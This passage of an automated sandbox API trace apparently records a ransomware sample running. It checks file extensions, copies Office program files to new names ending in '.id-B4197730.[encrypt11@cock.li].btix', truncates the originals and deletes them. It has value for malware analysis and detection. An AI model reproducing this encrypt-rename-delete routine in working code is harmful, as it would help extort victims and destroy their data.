(lpString1=".dll", lpString2=".btix") returned 1 [0140.511] lstrlenW (lpString="Microsoft.AppV.Modernizer.CSharp.dll") returned 36 [0140.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0140.512] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=363736) returned 1 [0140.512] CloseHandle (hObject=0x38c) returned 1 [0140.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll")) returned 0x220 [0140.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.513] lstrlenW (lpString=".doc") returned 4 [0140.513] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.513] lstrlenW (lpString=".docx") returned 5 [0140.513] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0140.513] lstrlenW (lpString=".pdf") returned 4 [0140.513] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.513] lstrlenW (lpString=".xls") returned 4 [0140.513] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.513] lstrlenW (lpString=".xlsx") returned 5 [0140.513] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0140.513] lstrlenW (lpString=".ppt") returned 4 [0140.513] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.513] lstrlenW (lpString=".zip") returned 4 [0140.513] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.513] lstrlenW (lpString=".rar") returned 4 [0140.513] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.514] lstrlenW (lpString=".bz2") returned 4 [0140.514] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.514] lstrlenW (lpString=".7z") returned 3 [0140.514] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.514] lstrlenW (lpString=".dbf") returned 4 [0140.514] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.514] lstrlenW (lpString=".1cd") returned 4 [0140.514] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.514] lstrlenW (lpString=".jpg") returned 4 [0140.514] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.514] lstrlenW (lpString=".doc") returned 4 [0140.514] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.514] lstrlenW (lpString=".docx") returned 5 [0140.514] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0140.514] lstrlenW (lpString=".pdf") returned 4 [0140.514] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.514] lstrlenW (lpString=".xls") returned 4 [0140.515] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.515] lstrlenW (lpString=".xlsx") returned 5 [0140.515] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0140.515] lstrlenW (lpString=".ppt") returned 4 [0140.515] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.515] lstrlenW (lpString=".zip") returned 4 [0140.515] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.515] lstrlenW (lpString=".rar") returned 4 [0140.515] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.515] lstrlenW (lpString=".bz2") returned 4 [0140.515] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.515] lstrlenW (lpString=".7z") returned 3 [0140.515] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.515] lstrlenW (lpString=".dbf") returned 4 [0140.515] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.515] lstrlenW (lpString=".1cd") returned 4 [0140.515] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0140.515] lstrlenW (lpString=".jpg") returned 4 [0140.515] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.516] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.516] lstrlenW (lpString="Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 40 [0140.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0140.517] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6890712) returned 1 [0140.517] CloseHandle (hObject=0x38c) returned 1 [0140.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll")) returned 0x220 [0140.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0140.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.518] lstrlenW (lpString=".doc") returned 4 [0140.518] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.518] lstrlenW (lpString=".docx") returned 5 [0140.518] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0140.518] lstrlenW (lpString=".pdf") returned 4 [0140.518] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.518] lstrlenW (lpString=".xls") returned 4 [0140.518] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.518] lstrlenW (lpString=".xlsx") returned 5 [0140.518] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0140.518] lstrlenW (lpString=".ppt") returned 4 [0140.518] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.518] lstrlenW (lpString=".zip") returned 4 [0140.518] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.518] lstrlenW (lpString=".rar") returned 4 [0140.518] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.518] lstrlenW (lpString=".bz2") returned 4 [0140.518] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.518] lstrlenW (lpString=".7z") returned 3 [0140.518] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.518] lstrlenW (lpString=".dbf") returned 4 [0140.518] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.518] lstrlenW (lpString=".1cd") returned 4 [0140.518] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.519] lstrlenW (lpString=".jpg") returned 4 [0140.519] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.519] lstrlenW (lpString=".doc") returned 4 [0140.519] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.519] lstrlenW (lpString=".docx") returned 5 [0140.519] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0140.519] lstrlenW (lpString=".pdf") returned 4 [0140.519] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.519] lstrlenW (lpString=".xls") returned 4 [0140.519] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.519] lstrlenW (lpString=".xlsx") returned 5 [0140.519] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0140.519] lstrlenW (lpString=".ppt") returned 4 [0140.519] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.519] lstrlenW (lpString=".zip") returned 4 [0140.519] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.519] lstrlenW (lpString=".rar") returned 4 [0140.519] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.519] lstrlenW (lpString=".bz2") returned 4 [0140.519] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.519] lstrlenW (lpString=".7z") returned 3 [0140.519] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.519] lstrlenW (lpString=".dbf") returned 4 [0140.519] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.519] lstrlenW (lpString=".1cd") returned 4 [0140.520] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0140.520] lstrlenW (lpString=".jpg") returned 4 [0140.520] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.520] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.520] lstrlenW (lpString="Microsoft.Tools.BinaryStore.dll") returned 31 [0140.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0140.748] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=73312) returned 1 [0140.748] CloseHandle (hObject=0x42c) returned 1 [0140.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll")) returned 0x220 [0140.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0140.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0140.821] lstrlenW (lpString=".doc") returned 4 [0140.821] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.821] lstrlenW (lpString=".docx") returned 5 [0140.821] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0140.821] lstrlenW (lpString=".pdf") returned 4 [0140.821] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.821] lstrlenW (lpString=".xls") returned 4 [0140.821] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.821] lstrlenW (lpString=".xlsx") returned 5 [0140.821] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0140.821] lstrlenW (lpString=".ppt") returned 4 [0140.821] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0140.821] lstrlenW (lpString=".zip") returned 4 [0140.821] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.821] lstrlenW (lpString=".rar") returned 4 [0140.822] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.822] lstrlenW (lpString=".bz2") returned 4 [0140.822] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.822] lstrlenW (lpString=".7z") returned 3 [0140.822] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0140.822] lstrlenW (lpString=".dbf") returned 4 [0140.822] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.823] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=615304) returned 1 [0140.823] CloseHandle (hObject=0x498) returned 1 [0140.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220 [0140.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.824] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.824] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0140.837] GetLastError () returned 0x0 [0140.837] ReadFile (in: hFile=0x498, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x96388, lpOverlapped=0x0) returned 1 [0140.905] WriteFile (in: hFile=0x4ac, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x96390, lpOverlapped=0x0) returned 1 [0140.915] ReadFile (in: hFile=0x498, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.915] WriteFile (in: hFile=0x4ac, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x10e, lpOverlapped=0x0) returned 1 [0140.915] SetEndOfFile (hFile=0x4ac) returned 1 [0140.915] CloseHandle (hObject=0x4ac) returned 1 [0140.915] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.915] SetEndOfFile (hFile=0x498) returned 1 [0140.928] CloseHandle (hObject=0x498) returned 1 [0140.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1 [0141.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.065] lstrlenW (lpString=".doc") returned 4 [0141.065] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.065] lstrlenW (lpString=".docx") returned 5 [0141.065] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0141.065] lstrlenW (lpString=".pdf") returned 4 [0141.065] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.065] lstrlenW (lpString=".xls") returned 4 [0141.065] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.066] lstrlenW (lpString=".xlsx") returned 5 [0141.066] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0141.066] lstrlenW (lpString=".ppt") returned 4 [0141.066] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.066] lstrlenW (lpString=".zip") returned 4 [0141.066] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.066] lstrlenW (lpString=".rar") returned 4 [0141.066] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.066] lstrlenW (lpString=".bz2") returned 4 [0141.066] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.066] lstrlenW (lpString=".7z") returned 3 [0141.066] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0141.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.066] lstrlenW (lpString=".dbf") returned 4 [0141.066] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.066] lstrlenW (lpString=".1cd") returned 4 [0141.066] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.066] lstrlenW (lpString=".jpg") returned 4 [0141.066] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.066] lstrlenW (lpString=".doc") returned 4 [0141.066] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.066] lstrlenW (lpString=".docx") returned 5 [0141.066] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0141.067] lstrlenW (lpString=".pdf") returned 4 [0141.067] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.067] lstrlenW (lpString=".xls") returned 4 [0141.067] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.067] lstrlenW (lpString=".xlsx") returned 5 [0141.067] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0141.067] lstrlenW (lpString=".ppt") returned 4 [0141.067] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.067] lstrlenW (lpString=".zip") returned 4 [0141.067] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.067] lstrlenW (lpString=".rar") returned 4 [0141.067] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.067] lstrlenW (lpString=".bz2") returned 4 [0141.067] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.067] lstrlenW (lpString=".7z") returned 3 [0141.067] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0141.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.067] lstrlenW (lpString=".dbf") returned 4 [0141.067] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.067] lstrlenW (lpString=".1cd") returned 4 [0141.067] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0141.067] lstrlenW (lpString=".jpg") returned 4 [0141.067] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.067] lstrcmpiW (lpString1=".msu", lpString2=".btix") returned 1 [0141.068] lstrlenW (lpString="Windows8.1-KB2999226-x64.msu") returned 28 [0141.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0141.349] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=994589) returned 1 [0141.349] CloseHandle (hObject=0x540) returned 1 [0141.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220 [0141.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.498] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.498] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft 